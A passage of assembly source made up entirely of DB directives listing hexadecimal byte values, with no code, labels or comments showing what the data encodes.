05Ah, 045h, 0DAh, 06Eh, 0EDh, 037h DB 0C9h, 09Fh, 03Dh, 0A6h, 0A7h, 07Ah, 0EEh, 03Fh DB 0A3h, 005h, 0C1h, 031h, 029h, 0B9h, 00Ch, 0FFh DB 0D4h, 017h, 004h, 0B3h, 031h, 0FDh, 033h, 020h DB 029h, 0D7h, 0FAh, 015h, 04Fh, 03Ah, 04Ch, 04Ah DB 02Dh, 0E7h, 07Ah, 0A9h, 03Dh, 029h, 00Ah, 0B5h DB 04Fh, 067h, 04Bh, 0D9h, 01Bh, 0B2h, 0F9h, 0B4h DB 008h, 0FBh, 0CDh, 01Ch, 011h, 0B7h, 02Fh, 0B9h DB 012h, 03Ch, 093h, 039h, 052h, 002h, 050h, 028h DB 031h, 04Fh, 0A2h, 011h, 0B2h, 008h, 0A9h, 018h DB 013h, 0ABh, 0FAh, 029h, 093h, 01Dh, 053h, 028h DB 038h, 053h, 039h, 095h, 095h, 0DAh, 041h, 0AFh DB 006h, 0F4h, 099h, 0A6h, 010h, 048h, 069h, 0CDh DB 09Fh, 0E9h, 0A7h, 0C9h, 045h, 02Dh, 04Ah, 07Ah DB 05Ah, 096h, 0E7h, 0D4h, 05Ah, 0F3h, 0A4h, 08Bh DB 00Bh, 095h, 057h, 055h, 0BEh, 028h, 069h, 0A5h DB 037h, 0E8h, 019h, 01Eh, 00Ch, 0ABh, 011h, 02Bh DB 01Ch, 031h, 045h, 049h, 014h, 006h, 0A9h, 03Ch DB 018h, 062h, 0BCh, 0F4h, 09Eh, 0A1h, 069h, 041h DB 015h, 0DFh, 0A8h, 05Bh, 019h, 029h, 0FFh, 072h DB 0B1h, 0F6h, 020h, 046h, 0B3h, 0F3h, 0EBh, 07Dh DB 00Ch, 0F9h, 047h, 010h, 0F9h, 0AFh, 085h, 03Ch DB 0F7h, 018h, 0D9h, 0AFh, 0BAh, 0BFh, 0EAh, 0F1h DB 06Fh, 031h, 012h, 0DFh, 028h, 019h, 07Dh, 073h DB 0C9h, 003h, 029h, 03Bh, 0A0h, 049h, 03Eh, 07Ch DB 052h, 042h, 072h, 0A3h, 015h, 051h, 022h, 027h DB 0AAh, 088h, 026h, 07Dh, 0B3h, 091h, 065h, 0B7h DB 096h, 0DFh, 0F5h, 03Fh, 051h, 053h, 0BDh, 030h DB 048h, 07Bh, 0DAh, 0DEh, 08Ah, 047h, 050h, 037h DB 033h, 0C9h, 02Ah, 050h, 07Dh, 03Fh, 0B3h, 06Ah DB 010h, 031h, 053h, 030h, 061h, 06Fh, 04Bh, 09Bh DB 04Dh, 09Eh, 02Bh, 0A2h, 057h, 045h, 0EEh, 0A9h DB 039h, 0B5h, 0E1h, 058h, 06Eh, 014h, 06Ah, 0F6h DB 0A6h, 011h, 0C8h, 05Bh, 069h, 039h, 028h, 06Ah DB 07Ah, 0D4h, 036h, 050h, 095h, 0A8h, 04Ah, 069h DB 047h, 094h, 032h, 072h, 062h, 094h, 0DFh, 094h DB 0D2h, 052h, 0E7h, 099h, 0FCh, 072h, 056h, 008h DB 0ADh, 0A6h, 0CEh, 093h, 00Bh, 04Fh, 094h, 050h DB 06Fh, 0AAh, 0F1h, 069h, 06Eh, 0B9h, 05Fh, 029h DB 0BAh, 0E9h, 07Fh, 052h, 073h, 0ABh, 0D4h, 0E1h DB 06Ch, 023h, 082h, 0B3h, 0A7h, 045h, 0A9h, 0F5h DB 0B5h, 00Eh, 04Fh, 0D4h, 0F6h, 097h, 03Ah, 036h DB 051h, 014h, 027h, 09Fh, 093h, 02Dh, 09Eh, 036h DB 0A7h, 094h, 085h, 0D8h, 0B0h, 069h, 031h, 0AAh DB 0ADh, 08Fh, 087h, 032h, 079h, 0A0h, 045h, 097h DB 055h, 070h, 0EFh, 076h, 0EAh, 073h, 091h, 006h DB 09Fh, 0B4h, 074h, 012h, 0CBh, 0CDh, 07Eh, 091h DB 070h, 024h, 0A0h, 05Ah, 044h, 01Ch, 0D2h, 03Eh DB 053h, 001h, 024h, 058h, 094h, 08Bh, 08Dh, 065h DB 0A4h, 01Eh, 027h, 036h, 097h, 07Eh, 0EFh, 0B7h DB 010h, 041h, 0F9h, 032h, 0B6h, 061h, 0E5h, 0F6h DB 0EBh, 02Ah, 002h, 029h, 0FDh, 07Bh, 06Ah, 05Dh DB 008h, 0F6h, 049h, 055h, 07Dh, 0DCh, 04Ah, 0FCh DB 06Fh, 06Fh, 0FAh, 032h, 093h, 025h, 038h, 0FBh DB 069h, 0DCh, 0DBh, 094h, 0FEh, 049h, 0EEh, 092h DB 062h, 0A0h, 072h, 0ADh, 039h, 0E1h, 053h, 035h DB 031h, 0DEh, 04Dh, 0D4h, 0E8h, 087h, 075h, 0D4h DB 018h, 04Ah, 048h, 0C2h, 0DDh, 0B4h, 0D5h, 096h DB 0FBh, 01Ch, 094h, 074h, 0DBh, 0ECh, 098h, 0A0h DB 0B3h, 0A3h, 042h, 050h, 0F5h, 0ABh, 06Ah, 0A5h DB 0E7h, 034h, 009h, 09Ah, 05Bh, 049h, 00Bh, 0B4h DB 08Bh, 0A0h, 0D8h, 059h, 06Ah, 029h, 091h, 00Ch DB 0CAh, 011h, 093h, 031h, 034h, 0CCh, 09Ah, 0A0h DB 051h, 025h, 0A6h, 029h, 0FCh, 06Bh, 0B4h, 036h DB 0EFh, 023h, 07Eh, 08Eh, 010h, 032h, 06Dh, 0A0h DB 042h, 0FEh, 0B4h, 086h, 001h, 06Ah, 0DEh, 0ABh DB 008h, 048h, 0B8h, 0A0h, 0A7h, 04Ah, 08Dh, 06Dh DB 020h, 0E6h, 045h, 0A0h, 06Fh, 010h, 0CAh, 031h DB 0A4h, 094h, 028h, 019h, 038h, 008h, 0D7h, 05Bh DB 04Dh, 08Ch, 09Ah, 088h, 047h, 0A0h, 0A4h, 036h DB 06Ah, 038h, 02Eh, 093h, 049h, 03Bh, 0A0h, 0F6h DB 033h, 0FDh, 044h, 03Fh, 089h, 022h, 0ABh, 0D1h DB 0E2h, 090h, 0B3h, 07Ah, 0B3h, 0B7h, 024h, 0ACh DB 0BDh, 0D2h, 034h, 06Fh, 03Bh, 0B4h, 038h, 04Dh DB 039h, 0D4h, 010h, 09Bh, 077h, 07Ah, 05Bh, 048h DB 0F6h, 01Ah, 0B5h, 0D8h, 0DFh, 072h, 0B3h, 0D9h DB 0B5h, 039h, 0CAh, 0F2h, 07Ch, 0A4h, 011h, 09Ah DB 0C8h, 0F1h, 028h, 052h, 08Eh, 0F6h, 036h, 074h DB 0C2h, 09Dh, 013h, 0E6h, 06Eh, 030h, 055h, 029h DB 030h, 047h, 07Ah, 0D9h, 01Fh, 0A0h, 0A4h, 00Bh DB 0D2h, 0E5h, 0E0h, 0CAh, 086h, 0CFh, 0D2h, 03Dh DB 00Ch, 0F2h, 0B2h, 03Dh, 04Dh, 0A0h, 0A8h, 0F5h DB 0ACh, 0BFh, 0EBh, 0FEh, 0BAh, 037h, 0A4h, 001h DB 031h, 08Bh, 087h, 048h, 0A0h, 0EBh, 04Ch, 0C3h DB 048h, 01Ah, 0CFh, 0B3h, 052h, 03Fh, 0A0h, 051h DB 014h, 049h, 074h, 072h, 080h, 0D7h, 035h, 0DFh DB 01Ch, 0E5h, 0A4h, 0A0h, 054h, 0AEh, 0ACh, 07Ah DB 0F6h, 0A2h, 099h, 045h, 0A0h, 0B9h, 059h, 037h DB 09Fh, 0E4h, 0A0h, 071h, 028h, 055h, 073h, 095h DB 0FBh, 012h, 084h, 036h, 0BEh, 092h, 0ACh, 0F1h DB 092h, 009h, 0FDh, 0EEh, 094h, 0CFh, 0D5h, 05Bh DB 005h, 06Fh, 03Ch, 02Bh, 029h, 0AAh, 0ADh, 04Fh DB 06Dh, 0E3h, 0A4h, 0D4h, 0A0h, 052h, 0E5h, 0F1h DB 034h, 0C2h, 0D9h, 014h, 04Ch, 0AEh, 0B4h, 0D7h DB 085h, 054h, 0A3h, 033h, 0D4h, 0ECh, 092h, 01Bh DB 0ADh, 00Bh, 0A4h, 08Eh, 0A0h, 029h, 028h, 05Dh DB 069h, 017h, 0A0h, 0A4h, 00Bh, 0D2h, 079h, 020h DB 05Ah, 045h, 0A0h, 024h, 00Ch, 072h, 0E4h, 010h DB 0B0h, 0F7h, 049h, 0B4h, 0A0h, 0E6h, 07Bh, 0A6h DB 062h, 024h, 0B3h, 06Ah, 0A0h, 05Fh, 0AEh, 0E0h DB 07Eh, 04Ah, 008h, 053h, 088h, 055h, 063h, 0CAh DB 059h, 040h, 0BDh, 04Dh, 0B9h, 021h, 048h, 0F3h DB 0EFh, 0E4h, 0B4h, 0A6h, 075h, 063h, 022h, 0B3h DB 073h, 0DEh, 0F8h, 091h, 0A0h, 04Fh, 030h, 0E5h DB 089h, 0FBh, 0A4h, 0A4h, 0A0h, 05Ah, 0ABh, 03Fh DB 01Eh, 040h, 0E3h, 056h, 03Dh, 017h, 0A5h, 0C4h DB 0B4h, 007h, 09Dh, 07Ch, 0B4h, 079h, 028h, 08Bh DB 0A0h, 021h, 028h, 01Eh, 06Ah, 079h, 07Ch, 071h DB 008h, 0FFh, 00Bh, 078h, 0F3h, 01Bh, 05Ch, 0DFh DB 07Bh, 0A2h, 034h, 064h, 014h, 09Ah, 0F7h, 0D5h DB 052h, 030h, 04Bh, 012h, 00Dh, 074h, 0E7h, 08Ah DB 0A0h, 0D7h, 04Bh, 0E0h, 06Ah, 0B2h, 075h, 047h DB 0A0h, 044h, 028h, 024h, 08Fh, 00Bh, 051h, 092h DB 079h, 060h, 0F4h, 08Ah, 0A0h, 049h, 00Ch, 0E3h DB 0B3h, 0D7h, 0FDh, 016h, 04Eh, 045h, 04Dh, 07Ch DB 058h, 0A2h, 0A7h, 0CBh, 0BFh, 0E0h, 0C6h, 008h DB 0B7h, 0A2h, 0CEh, 087h, 03Fh, 069h, 0C5h, 073h DB 0CCh, 0ECh, 031h, 096h, 078h, 09Ch, 0F6h, 064h DB 0A0h, 0C6h, 0B3h, 0F1h, 0FFh, 0F7h, 04Bh, 008h DB 052h, 03Dh, 057h, 090h, 02Dh, 039h, 092h, 033h DB 069h, 032h, 044h, 06Ah, 059h, 099h, 0B4h, 0E6h DB 08Bh, 0A0h, 06Bh, 006h, 096h, 050h, 0D4h, 064h DB 0AEh, 04Ah, 025h, 09Bh, 0B5h, 00Bh, 0A5h, 0B8h DB 0B2h, 0BCh, 0A9h, 019h, 009h, 026h, 017h, 0A0h DB 0A8h, 02Dh, 0B9h, 0E0h, 04Fh, 054h, 07Dh, 069h DB 0E2h, 066h, 0A1h, 05Ch, 029h, 049h, 0A5h, 0B2h DB 028h, 024h, 0B3h, 0A0h, 0C9h, 04Bh, 01Eh, 0DCh DB 0A2h, 04Dh, 06Eh, 009h, 0C9h, 06Ah, 044h, 02Dh DB 092h, 07Ch, 0AAh, 051h, 0D1h, 05Bh, 04Bh, 0BEh DB 0E0h, 09Eh, 0ABh, 069h, 044h, 061h, 0A4h, 0EBh DB 048h, 008h, 0A0h, 0B4h, 095h, 05Fh, 062h, 0E3h DB 028h, 045h, 00Bh, 0B5h, 0F4h, 0B2h, 006h, 0A6h DB 0A5h, 0ACh, 0E0h, 0D2h, 053h, 09Ah, 045h, 056h DB 045h, 0D5h, 0B7h, 028h, 031h, 066h, 0ABh, 0D1h DB 0B7h, 0CBh, 0BFh, 0E0h, 0ECh, 0A9h, 031h, 0D6h DB 02Ah, 094h, 002h, 0B5h, 067h, 068h, 011h, 055h DB 004h, 028h, 085h, 0D5h, 0D1h, 05Ah, 00Bh, 0C0h DB 0F6h, 04Ch, 070h, 05Ah, 0B4h, 065h, 027h, 0A2h DB 085h, 079h, 0B9h, 053h, 096h, 029h, 08Dh, 03Fh DB 0ACh, 045h, 040h, 07Ah, 061h, 0C7h, 073h, 03Dh DB 00Ah, 0DFh, 06Dh, 032h, 0C0h, 079h, 06Bh, 034h DB 076h, 0E6h, 0B4h, 04Ch, 0C2h, 0D7h, 072h, 0E0h DB 0B4h, 032h, 05Ah, 065h, 0D2h, 032h, 077h, 0C5h DB 01Bh, 0B9h, 041h, 0B3h, 04Ah, 025h, 048h, 0A0h DB 0E5h, 036h, 095h, 0F1h, 0B4h, 046h, 052h, 070h DB 0F0h, 0B1h, 031h, 0A6h, 0DAh, 0CDh, 026h, 02Ah DB 046h, 007h, 008h, 069h, 0D7h, 09Eh, 020h, 05Ch DB 0BCh, 057h, 0C4h, 008h, 099h, 0A9h, 0A4h, 052h DB 0A0h, 052h, 094h, 0F7h, 0F1h, 0FEh, 04Dh, 00Bh DB 0A4h, 047h, 0A5h, 0CDh, 0D6h, 024h, 0E4h, 052h DB 04Fh, 00Ch, 012h, 008h, 065h, 030h, 02Dh, 045h DB 026h, 034h, 029h, 008h, 0BBh, 04Bh, 0BDh, 0E0h DB 0EBh, 0C4h, 037h, 0EFh, 09Eh, 02Ah, 06Ah, 079h DB 051h, 01Ch, 065h, 02Ah, 0E6h, 085h, 004h, 069h DB 09Dh, 09Fh, 0F2h, 0F9h, 050h, 037h, 020h, 019h DB 044h, 0E5h, 06Bh, 069h, 04Ah, 0ECh, 09Fh, 0B6h DB 0C9h, 0B2h, 00Bh, 073h, 0F9h, 006h, 03Dh, 051h DB 032h, 0A8h, 0F4h, 02Bh, 0EDh, 0FFh, 069h, 01Dh DB 04Ch, 06Eh, 046h, 045h, 008h, 0AAh, 07Eh, 05Ch DB 0F9h, 0EEh, 079h, 0CAh, 069h, 0B1h, 085h, 008h DB 0C6h, 079h, 078h, 093h, 0B3h, 0CAh, 020h, 052h DB 008h, 059h, 040h, 0D4h, 085h, 0D5h, 091h, 052h DB 056h, 059h, 040h, 0A7h, 0E9h, 0E4h, 01Bh, 05Fh DB 06Ah, 04Ah, 086h, 031h, 09Ah, 034h, 0F2h, 0F3h DB 062h, 06Fh, 059h, 0D1h, 06Ah, 03Ch, 071h, 0AFh DB 0BEh, 076h, 0FBh, 023h, 0A0h, 09Ah, 054h, 0ADh DB 022h, 0D5h, 0A7h, 0B0h, 0B3h, 0D3h, 0CDh, 037h DB 0B5h, 0F9h, 032h, 004h, 047h, 00Bh, 092h, 069h DB 02Fh, 047h, 05Dh, 010h, 050h, 07Ah, 069h, 0A5h DB 0E6h, 0B7h, 07Ch, 0BAh, 0ABh, 06Ah, 045h, 07Ah DB 04Ch, 044h, 091h, 0A0h, 02Eh, 0E0h, 057h, 0A5h DB 04Dh, 000h, 0C2h, 0B4h, 072h, 089h, 0EAh, 0A9h DB 0BBh, 0DBh, 0BCh, 03Ch, 052h, 009h, 055h, 00Dh DB 055h, 05Bh, 087h, 002h, 02Ah, 014h, 0A4h, 048h DB 0ABh, 025h, 0A5h, 019h, 085h, 069h, 0F6h, 0ECh DB 085h, 03Eh, 0F6h, 073h, 0D3h, 036h, 056h, 05Ch DB 04Fh, 09Dh, 007h, 063h, 041h, 06Ah, 018h, 053h DB 0CBh, 014h, 03Fh, 090h, 05Bh, 0BCh, 03Bh, 016h DB 0F6h, 037h, 051h, 025h, 029h, 0C9h, 0D0h, 057h DB 085h, 08Bh, 0B2h, 00Ch, 0D8h, 0F6h, 09Eh, 05Bh DB 0EBh, 0B2h, 0A4h, 071h, 0A1h, 0C9h, 065h, 080h DB 0A9h, 095h, 024h, 045h, 00Ah, 0F6h, 029h, 06Ch DB 04Dh, 04Dh, 035h, 062h, 0CBh, 0F7h, 045h, 06Ah DB 079h, 082h, 0EAh, 074h, 02Dh, 056h, 0BCh, 060h DB 052h, 0AAh, 038h, 062h, 017h, 073h, 05Ah, 006h DB 0ADh, 0B4h, 0F7h, 049h, 018h, 00Bh, 0E4h, 08Ah DB 047h, 0DBh, 0DBh, 09Dh, 069h, 0E6h, 02Eh, 077h DB 0ABh, 0DAh, 045h, 0D2h, 04Eh, 012h, 0D2h, 0CDh DB 0A2h, 000h, 0B9h, 02Fh, 06Ah, 040h, 05Ch, 027h DB 0D6h, 01Ah, 075h, 094h, 0D4h, 0FCh, 0CDh, 02Fh DB 05Dh, 0E5h, 0F6h, 047h, 0A0h, 028h, 014h, 091h DB 0A0h, 0ADh, 06Eh, 021h, 0A2h, 01Ch, 04Ah, 0D4h DB 046h, 0A6h, 091h, 0A0h, 0B4h, 06Dh, 0E2h, 04Bh DB 0D6h, 0B2h, 047h, 0D4h, 0CDh, 094h, 037h, 0D2h DB 052h, 01Ch, 0A2h, 03Ah, 092h, 0B4h, 055h, 008h DB 096h, 091h, 025h, 06Eh, 098h, 0D2h, 022h, 0B3h DB 0D2h, 05Ch, 0AEh, 0CBh, 0B4h, 0C5h, 060h, 0B4h DB 0A6h, 0F9h, 001h, 0A4h, 09Dh, 0A0h, 0FBh, 0F4h DB 024h, 099h, 03Ch, 0F6h, 045h, 08Fh, 02Eh, 06Eh DB 04Dh, 0C1h, 05Ah, 082h, 04Eh, 0CAh, 0F6h, 092h DB 0B3h, 0A0h, 094h, 093h, 092h, 06Dh, 0A0h, 04Eh DB 0F7h, 069h, 070h, 03Ch, 00Bh, 097h, 015h, 0E7h DB 024h, 08Dh, 06Ah, 0E6h, 0D2h, 076h, 0EBh, 0CDh DB 0F0h, 04Fh, 045h, 06Ah, 011h, 0C8h, 05Ah, 05Eh DB 040h, 055h, 0B8h, 05Ah, 0DAh, 01Fh, 0D7h, 0DDh DB 0D2h, 03Eh, 039h, 0FFh, 055h, 04Dh, 094h, 0B7h DB 0B9h, 092h, 058h, 0C4h, 0A5h, 0C9h, 0E9h, 03Fh DB 038h, 0F8h, 030h, 09Dh, 033h, 091h, 0CFh, 0AAh DB 03Fh, 0DAh, 0DEh, 055h, 07Ah, 09Ch, 0CDh, 0B5h DB 09Ch, 089h, 0FDh, 03Ah, 074h, 080h, 0E9h, 0D8h DB 0D3h, 0A6h, 021h, 07Eh, 0A9h, 010h, 031h, 072h DB 034h, 0D6h, 025h, 06Eh, 0ACh, 0CCh, 0E9h, 037h DB 0E1h, 07Fh, 0A7h, 0F7h, 03Eh, 0CEh, 0CBh, 054h DB 05Bh, 0DEh, 0CCh, 04Bh, 08Eh, 0A3h, 092h, 099h DB 0A3h, 0A7h, 0C4h, 04Ch, 0C4h, 052h, 06Ah, 0C1h DB 09Ah, 009h, 0BCh, 0C0h, 091h, 047h, 079h, 018h DB 04Bh, 07Ah, 07Eh, 0B5h, 0B6h, 02Bh, 0FFh, 04Eh DB 045h, 052h, 00Ch, 049h, 038h, 04Ch, 0FDh, 096h DB 0B2h, 0D5h, 0BDh, 06Bh, 02Fh, 0C0h, 051h, 06Dh DB 03Eh, 03Dh, 0C2h, 0C2h, 0D4h, 03Ch, 05Eh, 0F3h DB 07Ah, 03Dh, 088h, 04Bh, 038h, 055h, 0E4h, 05Bh DB 03Fh, 06Bh, 036h, 07Bh, 084h, 0C9h, 0FBh, 056h DB 0C9h, 09Eh, 06Fh, 0B5h, 01Ch, 018h, 0D2h, 022h DB 09Bh, 079h, 057h, 070h, 09Ah, 096h, 0F6h, 00Ch DB 0F2h, 0CEh, 0ADh, 0F7h, 05Eh, 0ABh, 05Ah, 08Ah DB 0BAh, 049h, 000h, 0ADh, 0ADh, 04Eh, 045h, 082h DB 0E9h, 0F9h, 0C2h, 0F3h, 085h, 02Fh, 047h, 06Ah DB 021h, 07Ah, 07Ah, 08Bh, 014h, 0DBh, 049h, 079h DB 018h, 072h, 0CBh, 0D6h, 0F6h, 073h, 0B9h, 06Fh DB 069h, 01Eh, 07Bh, 03Dh, 07Fh, 0ADh, 09Bh, 0E7h DB 07Ch, 035h, 01Ah, 069h, 096h, 05Ah, 0A5h, 076h DB 0A5h, 03Fh, 069h, 056h, 0CAh, 073h, 05Bh, 00Eh DB 09Eh, 096h, 04Ch, 06Fh, 0F5h, 0BCh, 058h, 0F7h DB 0A9h, 04Dh, 079h, 0B4h, 05Eh, 0AAh, 02Fh, 038h DB 04Ch, 0A7h, 0A9h, 07Ah, 069h, 08Fh, 072h, 034h DB 0A6h, 013h, 0ADh, 0EEh, 0EDh, 002h, 06Fh, 03Ah DB 027h, 053h, 09Ch, 053h, 03Eh, 0DAh, 08Fh, 057h DB 035h, 072h, 0B4h, 00Bh, 0BAh, 02Ah, 025h, 051h DB 045h, 07Eh, 06Dh, 0B6h, 02Ah, 0CEh, 000h, 0B5h DB 0F9h, 0A0h, 0EDh, 07Eh, 07Ah, 0BCh, 070h, 095h DB 045h, 03Bh, 0C9h, 097h, 00Eh, 04Dh, 030h, 02Ah DB 08Bh, 01Bh, 09Ah, 00Ah, 0FEh, 0C7h, 075h, 0AEh DB 000h, 0F6h, 0FFh, 04Bh, 0C7h, 0A5h, 0F8h, 0A0h DB 0BFh, 04Bh, 0B3h, 0B2h, 0BBh, 051h, 05Eh, 02Ah DB 08Ah, 042h, 0BDh, 02Ah, 0DEh, 0FCh, 094h, 096h DB 0E9h, 02Ah, 0CAh, 091h, 0D4h, 0CDh, 0AAh, 048h DB 0DFh, 0ADh, 0A4h, 010h, 0B3h, 0FBh, 084h, 0ABh DB 07Dh, 034h, 04Fh, 04Dh, 0DAh, 039h, 05Dh, 0B7h DB 01Bh, 04Bh, 0B5h, 097h, 0A5h, 0F9h, 080h, 057h DB 0CAh, 001h, 0DDh, 0FFh, 0DEh, 053h, 049h, 0B7h DB 0EFh, 0D4h, 001h, 070h, 0EDh, 019h, 04Eh, 0F0h DB 0EAh, 02Bh, 049h, 0E9h, 0D4h, 0D4h, 003h, 00Ch DB 0E7h, 0FAh, 027h, 07Ch, 0A7h, 025h, 0BFh, 0D6h DB 067h, 0B9h, 0A4h, 06Ch, 0A0h, 05Dh, 0EAh, 055h DB 0D7h, 015h, 049h, 048h, 0E4h, 09Eh, 05Ah, 0A2h DB 049h, 09Fh, 059h, 0E5h, 049h, 06Fh, 001h, 052h DB 0E9h, 0F9h, 04Fh, 031h, 094h, 054h, 0EFh, 057h DB 067h, 0F4h, 08Ah, 0A0h, 0B8h, 052h, 0E3h, 05Bh DB 052h, 0B6h, 056h, 091h, 0A0h, 05Eh, 0D4h, 02Ch DB 0BEh, 0ADh, 04Ah, 024h, 0A4h, 08Bh, 0A0h, 0A9h DB 0FEh, 015h, 01Ch, 04Ah, 064h, 07Eh, 057h, 03Fh DB 0C9h, 0A1h, 0FEh, 008h, 049h, 052h, 04Ah, 05Fh DB 0C5h, 052h, 032h, 001h, 04Ah, 031h, 00Ah, 04Eh DB 039h, 0A2h, 04Ah, 09Eh, 07Dh, 0A7h, 03Bh, 04Ah DB 0A2h, 054h, 049h, 00Ah, 023h, 052h, 0A2h, 0A2h DB 04Ah, 04Fh, 091h, 0CAh, 059h, 056h, 029h, 04Ah DB 052h, 001h, 0F2h, 092h, 0C2h, 0B1h, 02Fh, 049h DB 05Ah, 039h, 07Fh, 0D4h, 0F9h, 033h, 0EDh, 04Bh DB 071h, 029h, 00Ah, 026h, 0CFh, 075h, 001h, 092h DB 03Bh, 068h, 08Ah, 00Ah, 038h, 06Ah, 041h, 069h DB 015h, 0A1h, 058h, 00Ah, 053h, 0A6h, 001h, 049h DB 04Bh, 09Fh, 09Ah, 002h, 097h, 039h, 0E9h, 03Ch DB 039h, 091h, 0DCh, 0F2h, 092h, 0FDh, 0B7h, 036h DB 024h, 0E9h, 0C4h, 00Ah, 09Fh, 0F9h, 095h, 032h DB 0F1h, 04Ah, 053h, 05Ch, 001h, 04Bh, 0F7h, 01Bh DB 054h, 0C6h, 00Ah, 0A5h, 0C4h, 03Ch, 0D3h, 039h DB 094h, 016h, 065h, 020h, 053h, 02Fh, 039h, 06Ah DB 051h, 026h, 072h, 09Ch, 019h, 0D2h, 002h, 06Ah DB 017h, 089h, 04Bh, 032h, 049h, 0B3h, 042h, 049h DB 072h, 09Fh, 0FEh, 071h, 053h, 054h, 001h, 021h DB 04Bh, 09Ch, 00Bh, 069h, 08Bh, 07Eh, 0D5h, 073h DB 08Ah, 076h, 0A5h, 00Fh, 028h, 0F0h, 0FFh, 022h DB 0A1h, 0F6h, 02Ch, 093h, 025h, 0C6h, 00Bh, 06Dh DB 0D2h, 0C2h, 07Bh, 0E9h, 07Ch, 0ADh, 033h, 0A9h DB 059h, 053h, 02Bh, 026h, 054h, 0B6h, 0CAh, 001h DB 072h, 08Ah, 0C2h, 0C3h, 029h, 001h, 03Dh, 052h DB 039h, 095h, 00Fh, 06Dh, 002h, 071h, 05Ah, 03Ah DB 056h, 00Bh, 06Ah, 03Ch, 026h, 05Ch, 0A2h, 04Dh DB 09Bh, 053h, 0CCh, 08Eh, 016h, 0A5h, 014h, 031h DB 05Bh, 0E6h, 072h, 093h, 0A2h, 0F4h, 0C5h, 078h DB 001h, 055h, 047h, 001h, 04Dh, 04Ch, 014h, 00Ch DB 063h, 001h, 052h, 0A5h, 039h, 0E9h, 0A4h, 066h DB 06Bh, 05Ah, 0ADh, 098h, 01Ch, 0ABh, 01Eh, 03Ah DB 0C9h, 029h, 05Dh, 034h, 090h, 0C5h, 04Dh, 00Ch DB 055h, 079h, 027h, 025h, 0E9h, 026h, 081h, 0D2h DB 079h, 0F9h, 04Bh, 059h, 099h, 01Ah, 04Ch, 045h DB 0B5h, 02Dh, 0B7h, 05Bh, 001h, 052h, 0C2h, 065h DB 003h, 00Bh, 01Ah, 06Ch, 072h, 09Bh, 049h, 06Ah DB 01Bh, 026h, 0DDh, 045h, 04Dh, 06Dh, 039h, 0DEh DB 09Bh, 00Ch, 053h, 0C3h, 026h, 06Dh, 04Fh, 0BCh DB 022h, 014h, 0A6h, 002h, 048h, 00Bh, 016h, 0BFh DB 06Ah, 0EAh, 035h, 06Eh, 0F4h, 043h, 0D2h, 034h DB 050h, 09Eh, 09Fh, 0F7h, 015h, 04Eh, 032h, 001h DB 00Dh, 03Ah, 0ADh, 0A3h, 0A2h, 04Ah, 039h, 0F3h DB 04Dh, 04Ch, 0FCh, 079h, 0B6h, 01Eh, 043h, 00Dh DB 094h, 0AFh, 0F2h, 04Ch, 047h, 090h, 0AAh, 026h DB 0A2h, 036h, 0A9h, 0B2h, 035h, 0E9h, 02Bh, 010h DB 06Ah, 059h, 05Ch, 0C5h, 029h, 04Dh, 04Eh, 02Ah DB 0B6h, 053h, 001h, 0C8h, 001h, 0CAh, 039h, 0C9h DB 0AAh, 0C2h, 00Fh, 0B2h, 003h, 04Eh, 01Ch, 0FFh DB 04Ah, 010h, 056h, 093h, 052h, 026h, 0A2h, 04Dh DB 09Ch, 053h, 0D2h, 044h, 02Eh, 04Fh, 0D5h, 032h DB 0D5h, 066h, 0DAh, 028h, 04Fh, 0A1h, 05Ah, 068h DB 031h, 00Eh, 00Fh, 0ACh, 001h, 0F5h, 01Dh, 0A8h DB 0A2h, 08Bh, 0A5h, 039h, 07Bh, 094h, 08Bh, 039h DB 064h, 01Fh, 00Dh, 03Dh, 04Fh, 0AFh, 024h, 04Dh DB 0C6h, 0D3h, 051h, 04Dh, 036h, 0A4h, 020h, 0A1h DB 0A4h, 0E9h, 07Ch, 091h, 0F9h, 05Ah, 095h, 059h DB 035h, 045h, 03Dh, 0B5h, 0E6h, 00Dh, 019h, 04Ah DB 0C4h, 0D5h, 0C5h, 06Ah, 0D9h, 039h, 06Eh, 055h DB 079h, 06Ah, 003h, 02Ch, 07Ah, 09Ch, 044h, 090h DB 047h, 0B0h, 021h, 0A5h, 026h, 029h, 050h, 073h DB 0CAh, 001h, 045h, 016h, 0F3h, 056h, 0D1h, 06Ah DB 092h, 02Fh, 050h, 096h, 08Eh, 05Ah, 085h, 00Ah DB 04Ah, 084h, 08Eh, 080h, 0E7h, 0F7h, 0A4h, 09Bh DB 0E2h, 05Bh, 0AEh, 001h, 071h, 052h, 0D4h, 0C4h DB 0ADh, 058h, 093h, 0ABh, 04Ch, 029h, 089h, 055h DB 016h, 039h, 091h, 033h, 0BFh, 0A4h, 04Eh, 0A1h DB 054h, 0A4h, 0AFh, 049h, 04Dh, 0C6h, 0A5h, 01Ch DB 026h, 064h, 0A1h, 0F2h, 08Dh, 024h, 072h, 026h DB 091h, 0B5h, 02Ch, 059h, 04Ah, 0B1h, 0ABh, 0C2h DB 00Eh, 056h, 0B9h, 001h, 04Dh, 00Eh, 0C8h, 00Dh DB 04Ch, 06Ch, 055h, 039h, 04Fh, 056h, 0B8h, 054h DB 0CFh, 00Ch, 00Bh, 04Ch, 0C8h, 007h, 0E3h, 05Eh DB 0E9h, 053h, 0F2h, 0CAh, 054h, 094h, 019h, 04Fh DB 0C5h, 053h, 084h, 04Ch, 00Eh, 0A6h, 0F7h, 03Ah DB 024h, 052h, 016h, 05Bh, 094h, 06Eh, 02Eh, 049h DB 0DDh, 04Ch, 04Eh, 056h, 0ADh, 040h, 032h, 074h DB 04Bh, 02Bh, 0B5h, 0E3h, 0C5h, 049h, 0F2h, 00Eh DB 054h, 0B9h, 056h, 055h, 007h, 093h, 04Ah, 001h DB 06Ah, 0B8h, 08Ah, 0C5h, 049h, 0CAh, 0DFh, 0E2h DB 0F7h, 045h, 0A1h, 0A4h, 034h, 061h, 09Dh, 09Ch DB 04Eh, 032h, 0E9h, 0F2h, 05Dh, 099h, 025h, 04Ah DB 04Dh, 026h, 044h, 0BFh, 08Dh, 0A1h, 0C6h, 03Ah DB 0E6h, 012h, 0A5h, 039h, 0AAh, 010h, 056h, 05Ch DB 033h, 029h, 049h, 059h, 0EBh, 062h, 0E7h, 0B8h DB 0B4h, 00Fh, 0A6h, 08Dh, 0A9h, 001h, 05Bh, 049h DB 0CAh, 0A0h, 012h, 056h, 05Bh, 028h, 0A1h, 04Ch DB 058h, 04Dh, 023h, 00Ah, 0F6h, 0FFh, 007h, 036h DB 074h, 0A0h, 0F3h, 052h, 053h, 0BAh, 08Ah, 0DCh DB 052h, 0B0h, 04Ch, 00Fh, 0EFh, 0F6h, 087h, 04Dh DB 046h, 022h, 0A1h, 